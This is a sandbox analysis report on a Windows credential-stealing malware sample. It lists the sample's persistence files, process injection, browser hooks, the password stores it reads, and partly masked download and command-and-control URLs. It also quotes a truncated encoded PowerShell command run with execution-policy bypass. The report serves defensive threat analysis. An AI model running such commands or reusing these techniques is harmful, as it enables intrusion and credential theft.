Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\acghuiiu.lnk
- <SYSTEM32>\tasks\opera scheduled autoupdate 3131961357
Malicious functions
Creates and executes the following
- '' (downloaded from the Internet)
Creates and executes the following (exploit)
- 'C:\users\public\7654333.exe'
Injects code into
the following system processes:
- <SYSTEM32>\taskhost.exe
- %WINDIR%\syswow64\explorer.exe
- %WINDIR%\explorer.exe
the following user processes:
- winword.exe
Hooks functions
in browsers
- iexplore.exe process, wininet.dll module
- firefox.exe process, nss3.dll module
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\windowspowershell\v1.0\powershell.exe
Reads files which store third party applications passwords
- %APPDATA%\mozilla\firefox\profiles.ini
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %APPDATA%\opera software\opera stable\login data
- %APPDATA%\thunderbird\profiles.ini
Modifies file system
Creates the following files
- C:\users\public\7654333.exe
- %APPDATA%\microsoft\windows\acghuiiu\frvcrtbr.exe
- %APPDATA%\microsoft\windows\acghuiiu\acghuiiu
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %TEMP%\e85b.tmp
- %TEMP%\e86c.tmp
- %TEMP%\e88c.tmp
- %TEMP%\e89c.tmp
Sets the 'hidden' attribute to the following files
- %APPDATA%\microsoft\windows\acghuiiu\frvcrtbr.exe
- %APPDATA%\microsoft\windows\acghuiiu\acghuiiu
Deletes the following files
- %TEMP%\e85b.tmp
- %TEMP%\e86c.tmp
- %TEMP%\e88c.tmp
- %TEMP%\e89c.tmp
Network activity
Connects to
- 'al###stwork.com':80
TCP
HTTP GET requests
- http://bi#.ly/38LCwbv
- http://mi###pack.co.id/img/allt.png
- http://pa##e.ee/r/ex2so
- http://www.ms###csi.com/ncsi.txt
HTTP POST requests
- http://al###stwork.com/1/
UDP
- DNS ASK bi#.ly
- DNS ASK mi###pack.co.id
- DNS ASK pa##e.ee
- DNS ASK al###stwork.com
Miscellaneous
Executes the following
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -w 1 /e JABSAEEATgA9AFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEEAbABsAG8AYwBIAEcAbABvAGIAYQBsACgAK...
- '%WINDIR%\microsoft.net\framework\v2.0.50727\msbuild.exe'
- '%WINDIR%\syswow64\explorer.exe'
- '%WINDIR%\explorer.exe'
